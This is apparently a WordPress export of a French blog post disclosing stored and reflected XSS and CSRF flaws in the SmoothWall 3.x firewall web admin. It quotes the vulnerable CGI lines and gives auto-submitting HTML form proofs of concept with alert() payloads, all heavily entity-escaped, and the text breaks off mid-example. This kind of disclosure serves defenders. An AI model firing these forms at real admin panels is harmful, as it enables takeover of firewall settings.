{"id":826,"date":"2014-12-22T05:02:55","date_gmt":"2014-12-22T03:02:55","guid":{"rendered":"https:\/\/www.asafety.fr\/?p=826"},"modified":"2016-07-25T00:38:39","modified_gmt":"2016-07-24T22:38:39","slug":"xss-csrf-smoothwall-3-1-multiple-vulnerabilities","status":"publish","type":"post","link":"https:\/\/www.asafety.fr\/en\/vuln-exploit-poc\/xss-csrf-smoothwall-3-1-multiple-vulnerabilities\/","title":{"rendered":"[XSS &#038; CSRF] SmoothWall 3.1 Multiple vulnerabilities"},"content":{"rendered":"<p><\/p>\n<p><p><a title=\"SmoothWall\" href=\"http:\/\/www.smoothwall.org\/\" target=\"_blank\">SmoothWall<\/a> est une distribution Linux open-source sous\u00a0licence\u00a0GPL, qui fait office de firewall\/routeur s\u00e9curis\u00e9. R\u00e9f\u00e9rence dans le domaine, et \u00e0 la base de projet annexe tel que <a title=\"IPCop\" href=\"http:\/\/www.ipcop.org\/\" target=\"_blank\">IPCop<\/a> (<em>fork<\/em> de SmoothWall), cette distribution orient\u00e9e s\u00e9curit\u00e9 s&#8217;administre par WebGUI en HTTP (port 81) ou HTTPS (port 441). La branche des versions &#8220;Express&#8221; de SmoothWall est gratuite et open-source. Toutefois, une version professionnelle est \u00e9galement disponible.<\/p>\n<p>Pour continuer mes r\u00e9centes analyses de divers firewall\/routeurs r\u00e9put\u00e9s (<a title=\"[XSS &amp; CSRF RCE] pfSense 2.0.1 Remote root Access\" href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/xss-csrf-rce-pfsense-2-0-1-remote-root-access\/\" target=\"_blank\">pfSense<\/a>, <a title=\"[CSRF RCE] m0n0wall 1.33 Remote root Access\" href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/csrf-rce-m0n0wall-1-33-remote-root-access\/\" target=\"_blank\">m0n0wall<\/a>&#8230;), je me suis int\u00e9ress\u00e9 \u00e0 celle-ci. Contrairement \u00e0 ses cousines, SmoothWall s&#8217;av\u00e8re relativement robuste \u00e0 part sur certains points pr\u00e9cis.<\/p>\n<h2>Retour en arri\u00e8re&#8230;<\/h2>\n<p>Le 17 \u00a0janvier 2011, Dave B. a publi\u00e9 <a title=\"SmoothWall Express 3.0 Multiple Vulnerabilities\" href=\"http:\/\/www.exploit-db.com\/exploits\/16006\/\" target=\"_blank\">deux PoC concernant une XSS et une CSRF pour SmoothWall 3.0<\/a> (probablement SP2).\u00a0La derni\u00e8re version de SmoothWall Express est la 3.0 SP3, \u00a0qui date du 1er juin 2011, et il s&#8217;av\u00e8re que ces deux PoC sont toujours fonctionnels. J&#8217;ai entrepris de tester un peu plus en profondeur cette distribution, et d&#8217;autres PoC en ont r\u00e9sult\u00e9 : diverses CSRF, XSS persistantes et non-persistantes au travers de l&#8217;interface d&#8217;administration WebGUI (Perl\/CGI).<\/p>\n<h2>Observations pr\u00e9liminaires<\/h2>\n<p>SmoothWall dispose d&#8217;une authentification simple de type Basic Auth (htaccess) pour g\u00e9rer l&#8217;interface web d&#8217;administration. Aucun m\u00e9canisme de cookie de session, de jeton, ni m\u00eame de validation de referer n&#8217;est pr\u00e9sent pour\u00a0parer\u00a0la distribution \u00e0 des attaques de type CSRF. Le fichier \/var\/smoothwall\/auth\/user contient les cr\u00e9dentiels d&#8217;acc\u00e8s \u00e0 l&#8217;authentification Basic Auth. Deux comptes sont pr\u00e9sents par d\u00e9faut, le compte &#8220;admin&#8221; et le compte &#8220;dial&#8221;.<\/p>\n<h2>Proof Of Concept<\/h2>\n<h3>XSS persistante via requ\u00eate POST n\u00b01<\/h3>\n<p>Fichier concern\u00e9 :\u00a0\/httpd\/cgi-bin\/pppsetup.cgi \u00e0 la ligne 365 :<\/p>\n<p>[perl]print &amp;amp;amp;amp;amp;quot;\\t$profilenames[$c]\\n&amp;amp;amp;amp;amp;quot;;[\/perl]<\/p>\n<p>La variable $profilenames[$c] n&#8217;est pas correctement nettoy\u00e9e (<em>sanitize<\/em>). PoC de d\u00e9monstration :<\/p>\n<p>[html]&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;html&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;body&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;form name=&#8217;x&#8217; action=&#8217;http:\/\/SMOOTHWALL_IP:81\/cgi-bin\/pppsetup.cgi&#8217; method=&#8217;post&#8217;&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;PROFILENAME&#8217; value=&#8217;&amp;amp;amp;amp;amp;lt;script&amp;amp;amp;amp;amp;gt;alert(\/XSS from Yann CAM\/);&amp;amp;amp;amp;amp;lt;\/script&amp;amp;amp;amp;amp;gt;&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;PROFILE&#8217; value=&#8217;1&#8242; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;COMPORT&#8217; value=&#8217;ttyS0&#8242; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;DTERATE&#8217; value=&#8217;9600&#8242; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;TELEPHONE&#8217; value=&#8221; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;DIALMODE&#8217; value=&#8217;T&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;MAXRETRIES&#8217; value=&#8221; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;TIMEOUT&#8217; value=&#8221; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;USERNAME&#8217; value=&#8221; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;PASSWORD&#8217; value=&#8221; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;AUTH&#8217; value=&#8217;pap-or-chap&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;LOGINSCRIPT&#8217; value=&#8221; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;ACTION&#8217; value=&#8217;Save&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;\/form&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;script&amp;amp;amp;amp;amp;gt;document.forms[&#8216;x&#8217;].submit();&amp;amp;amp;amp;amp;lt;\/script&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;\/body&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;\/html&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;[\/html]<\/p>\n<div id=\"attachment_851\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_persistent_pppsetup.cgi_.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-851\" class=\"size-medium wp-image-851\" alt=\"XSS persistante pppsetup.cgi\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_persistent_pppsetup.cgi_-300x246.png\" width=\"300\" height=\"246\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_persistent_pppsetup.cgi_-300x246.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_persistent_pppsetup.cgi_.png 1023w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-851\" class=\"wp-caption-text\">XSS persistante pppsetup.cgi<\/p><\/div>\n<p>Cette XSS s&#8217;av\u00e8re persistante \u00e0 deux endroits. Le premier est sur la page elle-m\u00eame, puisque c&#8217;est le nom d&#8217;un nouveau profil cr\u00e9\u00e9 qui comporte l&#8217;injection. A chaque chargement de la page la liste des profils disponibles est faites. Le second lieu o\u00f9 l&#8217;injection est visible est dans la page \/httpd\/cgi-bin\/logs.cgi\/log.dat, qui conserve une trace de tous les\u00a0\u00e9v\u00e9nements\u00a0de configuration, dont l&#8217;ajout d&#8217;un nouveau profil. Pour la journalisation, c&#8217;est la ligne suivante du fichier pppsetup.cgi qui est concern\u00e9e (plusieurs occurrences) :<\/p>\n<p>[perl]&amp;amp;amp;amp;amp;amp;log(&amp;amp;amp;amp;amp;quot;$tr{&#8216;profile deleted&#8217;} $pppsettings{&#8216;PROFILENAME&#8217;}&amp;amp;amp;amp;amp;quot;);[\/perl]<\/p>\n<div id=\"attachment_852\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_persistent_logs.cgi_.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-852\" class=\"size-medium wp-image-852\" alt=\"XSS persistante dans les logs\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_persistent_logs.cgi_-300x246.png\" width=\"300\" height=\"246\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_persistent_logs.cgi_-300x246.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_persistent_logs.cgi_.png 1023w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-852\" class=\"wp-caption-text\">XSS persistante dans les logs<\/p><\/div>\n<h3>XSS persistante via requ\u00eate POST n\u00b02<\/h3>\n<p>La seconde page vuln\u00e9rable \u00e0 une XSS persistante est\u00a0\/httpd\/cgi-bin\/vpn.cgi\/vpnconfig.dat \u00e0 la ligne 258 :<\/p>\n<p>[perl]&amp;amp;amp;amp;amp;lt;td colspan=&#8217;3&#8217;&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;strong&amp;amp;amp;amp;amp;gt;$tr{&#8216;commentc&#8217;}&amp;amp;amp;amp;amp;lt;\/strong&amp;amp;amp;amp;amp;gt; $temp[8]&amp;amp;amp;amp;amp;lt;\/td&amp;amp;amp;amp;amp;gt;[\/perl]<\/p>\n<p>La variable $temp[8] est r\u00e9inject\u00e9e sans nettoyage. PoC de d\u00e9monstration :<\/p>\n<p>[html]&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;html&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;body&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;form name=&#8217;x&#8217; action=&#8217;http:\/\/SMOOTHWALL_IP:81\/cgi-bin\/vpn.cgi\/vpnconfig.dat&#8217; method=&#8217;post&#8217;&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;SECRET1&#8242; value=&#8217;x&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;SECRET2&#8242; value=&#8217;x&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;COMMENT&#8217; value=&#8217;&amp;amp;amp;amp;amp;lt;script&amp;amp;amp;amp;amp;gt;alert(\/XSS from Yann CAM\/);&amp;amp;amp;amp;amp;lt;\/script&amp;amp;amp;amp;amp;gt;&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;ACTION&#8217; value=&#8217;Add&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;\/form&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;script&amp;amp;amp;amp;amp;gt;document.forms[&#8216;x&#8217;].submit();&amp;amp;amp;amp;amp;lt;\/script&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;\/body&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;\/html&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;[\/html]<\/p>\n<div id=\"attachment_853\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_persistent_vpnconfig.cgi_.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-853\" class=\"size-medium wp-image-853\" alt=\"XSS persistante dans la configuration VPN\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_persistent_vpnconfig.cgi_-300x246.png\" width=\"300\" height=\"246\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_persistent_vpnconfig.cgi_-300x246.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_persistent_vpnconfig.cgi_.png 1023w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-853\" class=\"wp-caption-text\">XSS persistante dans la configuration VPN<\/p><\/div>\n<h3>XSS persistante via requ\u00eate POST n\u00b03<\/h3>\n<p>Une autre page vuln\u00e9rable \u00e0 une XSS persistante est\u00a0\/httpd\/cgi-bin\/ddns.cgi \u00e0 la ligne 273 :<\/p>\n<p>[perl]&amp;amp;amp;amp;amp;amp;displaytable($filename, \\%render_settings, $cgiparams{&#8216;ORDER&#8217;}, $cgiparams{&#8216;COLUMN&#8217;} );[\/perl]<\/p>\n<p>Toutes les variables POST sont transmises sans nettoyage \u00e0 la fonction displaytable(). Aucun traitement additionnel n&#8217;est fait dans cette fonction. La variable COMMENT POST permet l&#8217;injection\u00a0persistante.<\/p>\n<p>PoC de d\u00e9monstration :<\/p>\n<p>[html]&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;html&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;body&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;form name=&#8217;x&#8217; action=&#8217;http:\/\/SMOOTHWALL_IP:81\/cgi-bin\/ddns.cgi&#8217; method=&#8217;post&#8217;&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;COMMENT&#8217; value=&#8217;&amp;amp;amp;amp;amp;lt;script&amp;amp;amp;amp;amp;gt;alert(\/XSS from Yann CAM\/);&amp;amp;amp;amp;amp;lt;\/script&amp;amp;amp;amp;amp;gt;&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;ACTION&#8217; value=&#8217;Add&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;\/form&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;script&amp;amp;amp;amp;amp;gt;document.forms[&#8216;x&#8217;].submit();&amp;amp;amp;amp;amp;lt;\/script&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;\/body&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;\/html&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;[\/html]<\/p>\n<div id=\"attachment_854\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_persistent_ddns.cgi_.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-854\" class=\"size-medium wp-image-854\" alt=\"XSS persistante dans la configuration DDNS\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_persistent_ddns.cgi_-300x246.png\" width=\"300\" height=\"246\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_persistent_ddns.cgi_-300x246.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_persistent_ddns.cgi_.png 1023w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-854\" class=\"wp-caption-text\">XSS persistante dans la configuration DDNS<\/p><\/div>\n<h3>XSS non-persistante via requ\u00eate POST n\u00b04<\/h3>\n<p>Une autre page vuln\u00e9rable \u00e0 une XSS persistante est\u00a0\/httpd\/cgi-bin\/ipinfo.cgi \u00e0 la ligne 76 et 101. Ce PoC a \u00e9t\u00e9 initialement r\u00e9alis\u00e9 par Dave B en 2011.<\/p>\n<p>[perl]&amp;amp;amp;amp;amp;amp;openbox(&amp;amp;amp;amp;amp;quot;$addr ($hostname)&amp;amp;amp;amp;amp;quot;);[\/perl]<\/p>\n<p>$addr n&#8217;est pas proprement nettoy\u00e9e avant d&#8217;\u00eatre r\u00e9inject\u00e9e au travers de la fonction openbox().<\/p>\n<p>PoC de d\u00e9monstration :<\/p>\n<p>[html]&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;html&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;body&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;form name=&#8217;x&#8217; action=&#8217;http:\/\/SMOOTHWALL_IP:81\/cgi-bin\/ipinfo.cgi&#8217; method=&#8217;post&#8217;&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;IP&#8217; value=&#8217;&amp;amp;amp;amp;amp;lt;script&amp;amp;amp;amp;amp;gt;alert(\/XSS from Dave B\/);&amp;amp;amp;amp;amp;lt;\/script&amp;amp;amp;amp;amp;gt;&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;ACTION&#8217; value=&#8217;Run&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;\/form&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n 